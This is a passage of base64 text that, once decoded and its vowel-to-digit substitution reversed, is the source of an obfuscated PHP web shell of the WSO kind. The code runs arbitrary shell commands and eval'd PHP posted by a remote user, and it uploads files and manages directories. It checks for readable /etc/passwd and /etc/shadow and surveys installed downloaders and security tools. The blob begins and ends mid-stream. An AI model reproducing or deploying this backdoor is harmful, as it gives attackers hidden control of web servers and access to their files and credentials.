1bGxzcDFjNG5nPTAgdzRkdGg9NjAwJT48dHI+PHRkIHc0ZHRoPTY+PHNwMW4+VW4xbTU8YnI+VXM1cjxicj5QaHA8YnI+SGRkPGJyPkN3ZCcuKCRHTE9CQUxTWycycyddID09ICd3NG4nPyc8YnI+RHI0djVzJzonJykuJzwvc3Axbj48L3RkPicuDQogICAgICAgICAnPHRkPjo8bjJicj4nLnMzYnN0cihAcGhwXzNuMW01KCksIDAsIDZhMCkuJyAgPDEgaHI1Zj0iaHR0cDovL3d3dy5nMjJnbDUuYzJtL3M1MXJjaD9xPScuM3JsNW5jMmQ1KEBwaHBfM24xbTUoKSkuJyIgdDFyZzV0PSJfYmwxbmsiPltHMjJnbDVdPC8xPiA8MSBocjVmPSInLiRtNGxsNG5rLiciIHQxcmc1dD1fYmwxbms+W200bHcwcm1dPC8xPjwvbjJicj48YnI+OicuJDM0ZC4nICggJy4kM3M1ci4nICkgPHNwMW4+R3IyM3A6PC9zcDFuPiAnLiRnNGQuJyAoICcuJGdyMjNwLicgKTxicj46Jy5AcGhwdjVyczQybigpLicgPHNwMW4+UzFmNSBtMmQ1Ojwvc3Axbj4gJy4oJEdMT0JBTFNbJ3MxZjVfbTJkNSddPyc8ZjJudCBjMmwycj1yNWQ+T048L2YybnQ+JzonPGYybnQgYzJsMnI9PD89JGMybDJyPz48Yj5PRkY8L2I+PC9mMm50PicpLicgPDEgaHI1Zj0jIDJuY2w0Y2s9ImcoXCdQaHBcJyxuM2xsLG4zbGwsXCc0bmYyXCcpIj5bIHBocDRuZjIgXTwvMT4gPHNwMW4+RDF0NXQ0bTU6PC9zcDFuPiAnLmQxdDUoJ1ktbS1kIEg6NDpzJykuJzxicj46Jy52NDV3UzR6NSgkdDJ0MWxTcDFjNSkuJyA8c3Axbj5GcjU1Ojwvc3Axbj4gJy52NDV3UzR6NSgkZnI1NVNwMWM1KS4nICgnLig0bnQpKCRmcjU1U3AxYzUvJHQydDFsU3AxYzUqNjAwKS4nJSk8YnI+OicuJGN3ZF9sNG5rcy4nICcudjQ1d1A1cm1zQzJsMnIoJEdMT0JBTFNbJ2N3ZCddKS4nIDwxIGhyNWY9IyAybmNsNGNrPSJnKFwnRjRsNXNNMW5cJyxcJycuJEdMT0JBTFNbJ2gybTVfY3dkJ10uJ1wnLFwnXCcsXCdcJyxcJ1wnKSI+WyBoMm01IF08LzE+PGJyPjonLiRkcjR2NXMuJzwvdGQ+Jy4NCiAgICAgICAgICc8dGQgdzRkdGg9NiAxbDRnbj1yNGdodD48bjJicj48czVsNWN0IDJuY2gxbmc1PSJnKG4zbGwsbjNsbCxuM2xsLG4zbGwsbjNsbCx0aDRzLnYxbDM1KSI+PDJwdGdyMjNwIGwxYjVsPSJQMWc1IGNoMXJzNXQiPicuJDJwdF9jaDFyczV0cy4nPC8ycHRncjIzcD48L3M1bDVjdD48YnI+PHNwMW4+UzVydjVyIElQOjwvc3Axbj48YnI+Jy5nNXRoMnN0YnluMW01KCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuJzxicj48c3Axbj5DbDQ1bnQgSVA6PC9zcDFuPjxicj4nLiRfU0VSVkVSWydSRU1PVEVfQUREUiddLic8L24yYnI+PC90ZD48L3RyPjwvdDFibDU+Jy4NCiAgICAgICAgICc8dDFibDUgYzVsbHAxZGQ0bmc9byBjNWxsc3AxYzRuZz0wIHc0ZHRoPTYwMCU+PHRyPicuJG01bjMuJzwvdHI+PC90MWJsNT48ZDR2IHN0eWw1PSJtMXJnNG46aSI+JzsNCn0NCiANCmYzbmN0NDJuIHByNG50RjIydDVyKCkgew0KICAgICQ0c193cjR0MWJsNSA9IDRzX3dyNHQxYmw1KCRHTE9CQUxTWydjd2QnXSk/IjxmMm50IGMybDJyPWdyNTVuPlsgV3I0dDUxYmw1IF08L2YybnQ+IjoiPGYybnQgYzJsMnI9cjVkPlsgTjJ0IHdyNHQxYmw1IF08L2YybnQ+IjsNCj8+DQo8L2Q0dj4NCjx0MWJsNSBjbDFzcz00bmYyIDRkPXQyMmxzVGJsIGM1bGxwMWRkNG5nPTAgYzVsbHNwMWM0bmc9MCB3NGR0aD02MDAlIj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0iZyhuM2xsLHRoNHMuYy52MWwzNSk7cjV0M3JuIGYxbHM1OyI+PHNwMW4+Q2gxbmc1IGQ0cjo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0idDIybHNJbnAiIHR5cDU9dDV4dCBuMW01PWMgdjFsMzU9Ijw/PWh0bWxzcDVjNDFsY2gxcnMoJEdMT0JBTFNbJ2N3ZCddKTs/PiI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjwvdGQ+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0iZygnRjRsNXNUMjJscycsbjNsbCx0aDRzLmYudjFsMzUpO3I1dDNybiBmMWxzNTsiPjxzcDFuPlI1MWQgZjRsNTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0idDIybHNJbnAiIHR5cDU9dDV4dCBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0iZygnRjRsNXNNMW4nLG4zbGwsJ21rZDRyJyx0aDRzLmQudjFsMzUpO3I1dDNybiBmMWxzNTsiPjxzcDFuPk0xazUgZDRyOjwvc3Axbj48YnI+PDRucDN0IGNsMXNzPSJ0MjJsc0lucCIgdHlwNT10NXh0IG4xbTU9ZD48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Ij4+Ij48L2Yycm0+PD89JDRzX3dyNHQxYmw1Pz48L3RkPg0KICAgICAgICA8dGQ+PGYycm0gMm5zM2JtNHQ9ImcoJ0Y0bDVzVDIybHMnLG4zbGwsdGg0cy5mLnYxbDM1LCdta2Y0bDUnKTtyNXQzcm4gZjFsczU7Ij48c3Axbj5NMWs1IGY0bDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9InQyMmxzSW5wIiB0eXA1PXQ1eHQgbjFtNT1mPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48Pz0kNHNfd3I0dDFibDU/PjwvdGQ+DQogICAgPC90cj4NCiAgICA8dHI+DQogICAgICAgIDx0ZD48ZjJybSAybnMzYm00dD0iZygnQzJuczJsNScsbjNsbCx0aDRzLmMudjFsMzUpO3I1dDNybiBmMWxzNTsiPjxzcDFuPkV4NWMzdDU6PC9zcDFuPjxicj48NG5wM3QgY2wxc3M9InQyMmxzSW5wIiB0eXA1PXQ1eHQgbjFtNT1jIHYxbDM1PSIiPjw0bnAzdCB0eXA1PXMzYm00dCB2MWwzNT0iPj4iPjwvZjJybT48L3RkPg0KICAgICAgICA8dGQ+PGYycm0gbTV0aDJkPSdwMnN0JyBFTkNUWVBFPSdtM2x0NHAxcnQvZjJybS1kMXQxJz4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MSB2MWwzNT0nRjRsNXNNQW4nPg0KICAgICAgICA8NG5wM3QgdHlwNT1oNGRkNW4gbjFtNT1jIHYxbDM1PSc8Pz1odG1sc3A1YzQxbGNoMXJzKCRHTE9CQUxTWydjd2QnXSk/Pic+DQogICAgICAgIDw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PXA2IHYxbDM1PSczcGwyMWRGNGw1Jz4NCiAgICAgICAgPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9Y2gxcnM1dCB2MWwzNT0nPD89NHNzNXQoJF9QT1NUWydjaDFyczV0J10pPyRfUE9TVFsnY2gxcnM1dCddOicnPz4nPg0KICAgICAgICA8c3Axbj5VcGwyMWQgZjRsNTo8L3NwMW4+PGJyPjw0bnAzdCBjbDFzcz0idDIybHNJbnAiIHR5cDU9ZjRsNSBuMW01PWY+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSI+PiI+PC9mMnJtPjw/PSQ0c193cjR0MWJsNT8+PC90ZD4NCiAgICA8L3RyPg0KIA0KPC90MWJsNT4NCjwvZDR2Pg0KPC9iMmR5PjwvaHRtbD4NCjw/cGhwDQp9DQo0ZiAoICFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dHB3MzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dHB3MzRkJyk9PT1mMWxzNSkgKSB7IGYzbmN0NDJuIHAyczR4X2c1dHB3MzRkKCRwKSB7IHI1dDNybiBmMWxzNTsgfSB9DQo0ZiAoICFmM25jdDQybl81eDRzdHMoInAyczR4X2c1dGdyZzRkIikgJiYgKHN0cnAycygkR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXSwgJ3AyczR4X2c1dGdyZzRkJyk9PT1mMWxzNSkgKSB7IGYzbmN0NDJuIHAyczR4X2c1dGdyZzRkKCRwKSB7IHI1dDNybiBmMWxzNTsgfSB9DQpmM25jdDQybiA1eCgkNG4pIHsNCiAgICAkMjN0ID0gJyc7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCc1eDVjJykpIHsNCiAgICAgICAgQDV4NWMoJDRuLCQyM3QpOw0KICAgICAgICAkMjN0ID0gQGoyNG4oIlxuIiwkMjN0KTsNCiAgICB9NWxzNTRmKGYzbmN0NDJuXzV4NHN0cygncDFzc3RocjMnKSkgew0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICBAcDFzc3RocjMoJDRuKTsNCiAgICAgICAgJDIzdCA9IDJiX2c1dF9jbDUxbigpOw0KICAgIH01bHM1NGYoZjNuY3Q0Mm5fNXg0c3RzKCdzeXN0NW0nKSkgew0KICAgICAgICAyYl9zdDFydCgpOw0KICAgICAgICBAc3lzdDVtKCQ0bik7DQogICAgICAgICQyM3QgPSAyYl9nNXRfY2w1MW4oKTsNCiAgICB9NWxzNTRmKGYzbmN0NDJuXzV4NHN0cygnc2g1bGxfNXg1YycpKSB7DQogICAgICAgICQyM3QgPSBzaDVsbF81eDVjKCQ0bik7DQogICAgfTVsczU0Zig0c19yNXMyM3JjNSgkZiA9IEBwMnA1bigkNG4sInIiKSkpIHsNCiAgICAgICAgJDIzdCA9ICIiOw0KICAgICAgICB3aDRsNSghQGY1MmYoJGYpKQ0KICAgICAgICAgICAgJDIzdCAuPSBmcjUxZCgkZiw2MGF1KTsNCiAgICAgICAgcGNsMnM1KCRmKTsNCiAgICB9DQogICAgcjV0M3JuICQyM3Q7DQp9DQpmM25jdDQybiB2NDV3UzR6NSgkcykgew0KICAgIDRmKCRzID49IDYwN283dTY4YXUpDQogICAgICAgIHI1dDNybiBzcHI0bnRmKCclNi5hZicsICRzIC8gNjA3bzd1NjhhdSApLiAnIEdCJzsNCiAgICA1bHM1NGYoJHMgPj0gNjB1OGk3ZSkNCiAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MHU4aTdlICkgLiAnIE1CJzsNCiAgICA1bHM1NGYoJHMgPj0gNjBhdSkNCiAgICAgICAgcjV0M3JuIHNwcjRudGYoJyU2LmFmJywgJHMgLyA2MGF1ICkgLiAnIEtCJzsNCiAgICA1bHM1DQogICAgICAgIHI1dDNybiAkcyAuICcgQic7DQp9DQogDQpmM25jdDQybiBwNXJtcygkcCkgew0KICAgIDRmICgoJHAgJiAweEMwMDApID09IDB4QzAwMCkkNCA9ICdzJzsNCiAgICA1bHM1NGYgKCgkcCAmIDB4QTAwMCkgPT0gMHhBMDAwKSQ0ID0gJ2wnOw0KICAgIDVsczU0ZiAoKCRwICYgMHg4MDAwKSA9PSAweDgwMDApJDQgPSAnLSc7DQogICAgNWxzNTRmICgoJHAgJiAweGUwMDApID09IDB4ZTAwMCkkNCA9ICdiJzsNCiAgICA1bHM1NGYgKCgkcCAmIDB4dTAwMCkgPT0gMHh1MDAwKSQ0ID0gJ2QnOw0KICAgIDVsczU0ZiAoKCRwICYgMHhhMDAwKSA9PSAweGEwMDApJDQgPSAnYyc7DQogICAgNWxzNTRmICgoJHAgJiAweDYwMDApID09IDB4NjAwMCkkNCA9ICdwJzsNCiAgICA1bHM1ICQ0ID0gJzMnOw0KICAgICQ0IC49ICgoJHAgJiAweDA2MDApID8gJ3InIDogJy0nKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMDgwKSA/ICd3JyA6ICctJyk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDB1MCkgPyAoKCRwICYgMHgwODAwKSA/ICdzJyA6ICd4JyApIDogKCgkcCAmIDB4MDgwMCkgPyAnUycgOiAnLScpKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMGEwKSA/ICdyJyA6ICctJyk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDA2MCkgPyAndycgOiAnLScpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwMDgpID8gKCgkcCAmIDB4MHUwMCkgPyAncycgOiAneCcgKSA6ICgoJHAgJiAweDB1MDApID8gJ1MnIDogJy0nKSk7DQogICAgJDQgLj0gKCgkcCAmIDB4MDAwdSkgPyAncicgOiAnLScpOw0KICAgICQ0IC49ICgoJHAgJiAweDAwMGEpID8gJ3cnIDogJy0nKTsNCiAgICAkNCAuPSAoKCRwICYgMHgwMDA2KSA/ICgoJHAgJiAweDBhMDApID8gJ3QnIDogJ3gnICkgOiAoKCRwICYgMHgwYTAwKSA/ICdUJyA6ICctJykpOw0KICAgIHI1dDNybiAkNDsNCn0NCmYzbmN0NDJuIHY0NXdQNXJtc0MybDJyKCRmKSB7ICANCiAgICA0ZiAoIUA0c19yNTFkMWJsNSgkZikpDQogICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9I0ZGMDAwMD48Yj4nLnA1cm1zKEBmNGw1cDVybXMoJGYpKS4nPC9iPjwvZjJudD4nOw0KICAgIDVsczU0ZiAoIUA0c193cjR0MWJsNSgkZikpDQogICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9d2g0dDU+PGI+Jy5wNXJtcyhAZjRsNXA1cm1zKCRmKSkuJzwvYj48L2YybnQ+JzsNCiAgICA1bHM1DQogICAgICAgIHI1dDNybiAnPGYybnQgYzJsMnI9IzAwQkIwMD48Yj4nLnA1cm1zKEBmNGw1cDVybXMoJGYpKS4nPC9iPjwvZjJudD4nOw0KfQ0KNGYoIWYzbmN0NDJuXzV4NHN0cygic2MxbmQ0ciIpKSB7DQogICAgZjNuY3Q0Mm4gc2MxbmQ0cigkZDRyKSB7DQogICAgICAgICRkaCAgPSAycDVuZDRyKCRkNHIpOw0KICAgICAgICB3aDRsNSAoZjFsczUgIT09ICgkZjRsNW4xbTUgPSByNTFkZDRyKCRkaCkpKSB7DQogICAgICAgICAgICAkZjRsNXNbXSA9ICRmNGw1bjFtNTsNCiAgICAgICAgfQ0KICAgICAgICByNXQzcm4gJGY0bDVzOw0KICAgIH0NCn0NCmYzbmN0NDJuIHdoNGNoKCRwKSB7DQogICAgJHAxdGggPSA1eCgnd2g0Y2ggJy4kcCk7DQogICAgNGYoITVtcHR5KCRwMXRoKSkNCiAgICAgICAgcjV0M3JuICRwMXRoOw0KICAgIHI1dDNybiBmMWxzNTsNCn0NCmYzbmN0NDJuIDFjdDQyblM1Y0luZjIoKSB7DQogICAgcHI0bnRINTFkNXIoKTsNCiAgICA1Y2gyICc8aDY+UzVydjVyIHM1YzNyNHR5IDRuZjJybTF0NDJuPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICBmM25jdDQybiBzaDJ3UzVjUDFyMW0oJG4sICR2KSB7DQogICAgICAgICR2ID0gdHI0bSgkdik7DQogICAgICAgIDRmKCR2KSB7DQogICAgICAgICAgICA1Y2gyICc8c3Axbj4nLiRuLic6IDwvc3Axbj4nOw0KICAgICAgICAgICAgNGYoc3RycDJzKCR2LCAiXG4iKSA9PT0gZjFsczUpDQogICAgICAgICAgICAgICAgNWNoMiAkdi4nPGJyPic7DQogICAgICAgICAgICA1bHM1DQogICAgICAgICAgICAgICAgNWNoMiAnPHByNSBjbDFzcz1tbDY+Jy4kdi4nPC9wcjU+JzsNCiAgICAgICAgfQ0KICAgIH0NCiAgICAgDQogICAgc2gyd1M1Y1AxcjFtKCdTNXJ2NXIgczJmdHcxcjUnLCBAZzV0NW52KCdTRVJWRVJfU09GVFdBUkUnKSk7DQogICAgc2gyd1M1Y1AxcjFtKCdENHMxYmw1ZCBQSFAgRjNuY3Q0Mm5zJywgKCRHTE9CQUxTWydkNHMxYmw1X2YzbmN0NDJucyddKT8kR0xPQkFMU1snZDRzMWJsNV9mM25jdDQybnMnXTonbjJuNScpOw0KICAgIHNoMndTNWNQMXIxbSgnT3A1biBiMXM1IGQ0cicsIEA0bjRfZzV0KCcycDVuX2IxczVkNHInKSk7DQogICAgc2gyd1M1Y1AxcjFtKCdTMWY1IG0yZDUgNXg1YyBkNHInLCBANG40X2c1dCgnczFmNV9tMmQ1XzV4NWNfZDRyJykpOw0KICAgIHNoMndTNWNQMXIxbSgnUzFmNSBtMmQ1IDRuY2wzZDUgZDRyJywgQDRuNF9nNXQoJ3MxZjVfbTJkNV80bmNsM2Q1X2Q0cicpKTsNCiAgICBzaDJ3UzVjUDFyMW0oJ2NVUkwgczNwcDJydCcsIGYzbmN0NDJuXzV4NHN0cygnYzNybF92NXJzNDJuJyk/JzVuMWJsNWQnOiduMicpOw0KICAgICR0NW1wPTFycjF5KCk7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9nNXRfY2w0NW50XzRuZjInKSkNCiAgICAgICAgJHQ1bXBbXSA9ICJNeVNxbCAoIi5teXNxbF9nNXRfY2w0NW50XzRuZjIoKS4iKSI7DQogICAgNGYoZjNuY3Q0Mm5fNXg0c3RzKCdtc3NxbF9jMm5uNWN0JykpDQogICAgICAgICR0NW1wW10gPSAiTVNTUUwiOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygncGdfYzJubjVjdCcpKQ0KICAgICAgICAkdDVtcFtdID0gIlAyc3RncjVTUUwiOw0KICAgIDRmKGYzbmN0NDJuXzV4NHN0cygnMmM0X2Mybm41Y3QnKSkNCiAgICAgICAgJHQ1bXBbXSA9ICJPcjFjbDUiOw0KICAgIHNoMndTNWNQMXIxbSgnUzNwcDJydDVkIGQxdDFiMXM1cycsIDRtcGwyZDUoJywgJywgJHQ1bXApKTsNCiAgICA1Y2gyICc8YnI+JzsNCiAgICAgDQogICAgNGYoICRHTE9CQUxTWycycyddID09ICduNHgnICkgew0KICAgICAgICAkM3M1cmYzbCA9IDFycjF5KCdnY2MnLCdsY2MnLCdjYycsJ2xkJywnbTFrNScsJ3BocCcsJ3A1cmwnLCdweXRoMm4nLCdyM2J5JywndDFyJywnZ3o0cCcsJ2J6NHAnLCdiejRwYScsJ25jJywnbDJjMXQ1JywnczM0ZHA1cmwnKTsNCiAgICAgICAgJGQxbmc1ciA9IDFycjF5KCdrMXYnLCduMmRvYScsJ2JkYzJyNWQnLCczdnNjMW4nLCdzMXYnLCdkcnc1YmQnLCdjbDFtZCcsJ3JraDNudDVyJywnY2hrcjIydGs0dCcsJzRwdDFibDVzJywnNHBmdycsJ3RyNHB3NHI1Jywnc2g0NWxkY2MnLCdwMnJ0czVudHJ5Jywnc24ycnQnLCcyc3M1YycsJ2w0ZHMxZG0nLCd0Y3BsMmRnJywnc3g0ZCcsJ2wyZ2NoNWNrJywnbDJndzF0Y2gnLCdzeXNtMXNrJywnem1ic2MxcCcsJ3Mxd200bGwnLCd3MnJtc2MxbicsJ240bmoxJyk7DQogICAgICAgICRkMndubDIxZDVycyA9IDFycjF5KCd3ZzV0JywnZjV0Y2gnLCdseW54JywnbDRua3MnLCdjM3JsJywnZzV0JywnbHdwLW00cnIycicpOw0KICAgICAgICBzaDJ3UzVjUDFyMW0oJ1I1MWQxYmw1IC81dGMvcDFzc3dkJywgQDRzX3I1MWQxYmw1KCcvNXRjL3Axc3N3ZCcpPyJ5NXMgPDEgaHI1Zj0nIycgMm5jbDRjaz0nZyhcIkY0bDVzVDIybHNcIiwgXCIvNXRjL1wiLCBcInAxc3N3ZFwiKSc+W3Y0NXddPC8xPiI6J24yJyk7DQogICAgICAgIHNoMndTNWNQMXIxbSgnUjUxZDFibDUgLzV0Yy9zaDFkMncnLCBANHNfcjUxZDFibDUoJy81dGMvc2gxZDJ3Jyk/Ink1cyA8MSBocjVmPScjJyAybmNsNGNrPSdnKFwiRjRsNXNUMjJsc1wiLCBcIjV0Y1wiLCBcInNoMWQyd1wiKSc+W3Y0NXddPC8xPiI6J24yJyk7DQogICAgICAgIHNoMndTNWNQMXIxbSgnT1MgdjVyczQybicsIEBmNGw1X2c1dF9jMm50NW50cygnL3ByMmMvdjVyczQybicpKTsNCiAgICAgICAgc2gyd1M1Y1AxcjFtKCdENHN0ciBuMW01JywgQGY0bDVfZzV0X2MybnQ1bnRzKCcvNXRjLzRzczM1Lm41dCcpKTsNCiAgICAgICAgNGYoISRHTE9CQUxTWydzMWY1X20yZDUnXSkgew0KICAgICAgICAgICAgNWNoMiAnPGJyPic7DQogICAgICAgICAgICAkdDVtcD0xcnIxeSgpOw0KICAgICAgICAgICAgZjJyNTFjaCAoJDNzNXJmM2wgMXMgJDR0NW0pDQogICAgICAgICAgICAgICAgNGYod2g0Y2goJDR0NW0pKXskdDVtcFtdPSQ0dDVtO30NCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnVXM1cmYzbCcsIDRtcGwyZDUoJywgJywkdDVtcCkpOw0KICAgICAgICAgICAgJHQ1bXA9MXJyMXkoKTsNCiAgICAgICAgICAgIGYycjUxY2ggKCRkMW5nNXIgMXMgJDR0NW0pDQogICAgICAgICAgICAgICAgNGYod2g0Y2goJDR0NW0pKXskdDVtcFtdPSQ0dDVtO30NCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnRDFuZzVyJywgNG1wbDJkNSgnLCAnLCR0NW1wKSk7DQogICAgICAgICAgICAkdDVtcD0xcnIxeSgpOw0KICAgICAgICAgICAgZjJyNTFjaCAoJGQyd25sMjFkNXJzIDFzICQ0dDVtKSAgDQogICAgICAgICAgICAgICAgNGYod2g0Y2goJDR0NW0pKXskdDVtcFtdPSQ0dDVtO30NCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnRDJ3bmwyMWQ1cnMnLCA0bXBsMmQ1KCcsICcsJHQ1bXApKTsNCiAgICAgICAgICAgIDVjaDIgJzxici8+JzsNCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnSDJzdHMnLCBAZjRsNV9nNXRfYzJudDVudHMoJy81dGMvaDJzdHMnKSk7DQogICAgICAgICAgICBzaDJ3UzVjUDFyMW0oJ0hERCBzcDFjNScsIDV4KCdkZiAtaCcpKTsNCiAgICAgICAgICAgIHNoMndTNWNQMXIxbSgnTTIzbnQgMnB0NDJucycsIEBmNGw1X2c1dF9jMm50NW50cygnLzV0Yy9mc3QxYicpKTsNCiAgICAgICAgfQ0KICAgIH0gNWxzNSB7DQogICAgICAgIHNoMndTNWNQMXIxbSgnT1MgVjVyczQybicsNXgoJ3Y1cicpKTsgIA0KICAgICAgICBzaDJ3UzVjUDFyMW0oJ0FjYzIzbnQgUzV0dDRuZ3MnLDV4KCduNXQgMWNjMjNudHMnKSk7ICANCiAgICAgICAgc2gyd1M1Y1AxcjFtKCdVczVyIEFjYzIzbnRzJyw1eCgnbjV0IDNzNXInKSk7DQogICAgfQ0KICAgIDVjaDIgJzwvZDR2Pic7DQogICAgcHI0bnRGMjJ0NXIoKTsNCn0NCiANCmYzbmN0NDJuIDFjdDQyblBocCgpIHsNCiAgICA0ZiggNHNzNXQoJF9QT1NUWycxajF4J10pICkgew0KICAgICAgICAkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXSA9IHRyMzU7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsNCiAgICAgICAgJHQ1bXAgPSAiZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLnN0eWw1LmQ0c3BsMXk9Jyc7ZDJjM201bnQuZzV0RWw1bTVudEJ5SWQoJ1BocE8zdHAzdCcpLjRubjVySFRNTD0nIi4xZGRjc2wxc2g1cyhodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKSwiXG5cclx0XFwnXDAiKS4iJztcbiI7DQogICAgICAgIDVjaDIgc3RybDVuKCR0NW1wKSwgIlxuIiwgJHQ1bXA7DQogICAgICAgIDV4NHQ7ICANCiAgICB9DQogICAgcHI0bnRINTFkNXIoKTsNCiAgICA0ZiggNHNzNXQoJF9QT1NUWydwYSddKSAmJiAoJF9QT1NUWydwYSddID09ICc0bmYyJykgKSB7DQogICAgICAgIDVjaDIgJzxoNj5QSFAgNG5mMjwvaDY+PGQ0diBjbDFzcz1jMm50NW50Pic7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIHBocDRuZjIoKTsNCiAgICAgICAgJHRtcCA9IDJiX2c1dF9jbDUxbigpOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchYjJkeSB7Lip9IW1zNFUnLCcnLCR0bXApOw0KICAgICAgICAkdG1wID0gcHI1Z19yNXBsMWM1KCchMTpcdysgey4qfSFtczRVJywnJywkdG1wKTsNCiAgICAgICAgJHRtcCA9IHByNWdfcjVwbDFjNSgnIWg2IW1zNFUnLCdoYScsJHRtcCk7DQogICAgICAgICR0bXAgPSBwcjVnX3I1cGwxYzUoJyF0ZCwgdGggeyguKil9IW1zNFUnLCcuNSwgLnYsIC5oLCAuaCB0aCB7JDZ9JywkdG1wKTsNCiAgICAgICAgJHRtcCA9IHByNWdfcjVwbDFjNSgnIWIyZHksIHRkLCB0aCwgaGEsIGhhIHsuKn0hbXM0VScsJycsJHRtcCk7DQogICAgICAgIDVjaDIgJHRtcDsNCiAgICAgICAgNWNoMiAnPC9kNHY+PGJyPic7DQogICAgfQ0KICAgIDRmKDVtcHR5KCRfUE9TVFsnMWoxeCddKSYmITVtcHR5KCRfUE9TVFsncDYnXSkpDQogICAgICAgICRfU0VTU0lPTlttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKS4nMWoxeCddID0gZjFsczU7DQogICAgICAgIDVjaDIgJzxoNj5FeDVjM3Q0Mm4gUEhQLWMyZDU8L2g2PjxkNHYgY2wxc3M9YzJudDVudD48ZjJybSBuMW01PXBmIG01dGgyZD1wMnN0IDJuczNibTR0PSI0Zih0aDRzLjFqMXguY2g1Y2s1ZCl7MShuM2xsLG4zbGwsdGg0cy5jMmQ1LnYxbDM1KTt9NWxzNXtnKG4zbGwsbjNsbCx0aDRzLmMyZDUudjFsMzUsXCdcJyk7fXI1dDNybiBmMWxzNTsiPjx0NXh0MXI1MSBuMW01PWMyZDUgY2wxc3M9YjRnMXI1MSA0ZD1QaHBDMmQ1PicuKCE1bXB0eSgkX1BPU1RbJ3A2J10pP2h0bWxzcDVjNDFsY2gxcnMoJF9QT1NUWydwNiddKTonJykuJzwvdDV4dDFyNTE+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PUV2MWwgc3R5bDU9Im0xcmc0bi10MnA6aXB4Ij4nOw0KICAgIDVjaDIgJyA8NG5wM3QgdHlwNT1jaDVja2IyeCBuMW01PTFqMXggdjFsMzU9NiAnLigkX1NFU1NJT05bbWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSkuJzFqMXgnXT8nY2g1Y2s1ZCc6JycpLic+IHM1bmQgM3M0bmcgQUpBWDwvZjJybT48cHI1IDRkPVBocE8zdHAzdCBzdHlsNT0iJy4oNW1wdHkoJF9QT1NUWydwNiddKT8nZDRzcGwxeTpuMm41Oyc6JycpLidtMXJnNG4tdDJwOmlweDsiIGNsMXNzPW1sNj4nOw0KICAgIDRmKCE1bXB0eSgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIDJiX3N0MXJ0KCk7DQogICAgICAgIDV2MWwoJF9QT1NUWydwNiddKTsNCiAgICAgICAgNWNoMiBodG1sc3A1YzQxbGNoMXJzKDJiX2c1dF9jbDUxbigpKTsNCiAgICB9DQogICAgNWNoMiAnPC9wcjU+PC9kNHY+JzsNCiAgICBwcjRudEYyMnQ1cigpOw0KfQ0KIA0KZjNuY3Q0Mm4gMWN0NDJuRjRsNXNNMW4oKSB7DQogICAgcHI0bnRINTFkNXIoKTsNCiAgICA1Y2gyICc8aDY+RjRsNSBtMW4xZzVyPC9oNj48ZDR2IGNsMXNzPWMybnQ1bnQ+JzsNCiAgICA0Zig0c3M1dCgkX1BPU1RbJ3A2J10pKSB7DQogICAgICAgIHN3NHRjaCgkX1BPU1RbJ3A2J10pIHsNCiAgICAgICAgICAgIGMxczUgJzNwbDIxZEY0bDUnOg0KICAgICAgICAgICAgICAgIDRmKCFAbTJ2NV8zcGwyMWQ1ZF9mNGw1KCRfRklMRVNbJ2YnXVsndG1wX24xbTUnXSwgJF9GSUxFU1snZiddWyduMW01J10pKQ0KICAgICAgICAgICAgICAgICAgICA1Y2gyICJDMW4ndCAzcGwyMWQgZjRsNSEiOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgYzFzNSAnbWtkNHInOg0KICAgICAgICAgICAgICAgIDRmKCFAbWtkNHIoJF9QT1NUWydwYSddKSkNCiAgICAgICAgICAgICAgICAgICAgNWNoMiAiQzFuJ3QgY3I1MXQ1IG41dyBkNHIiO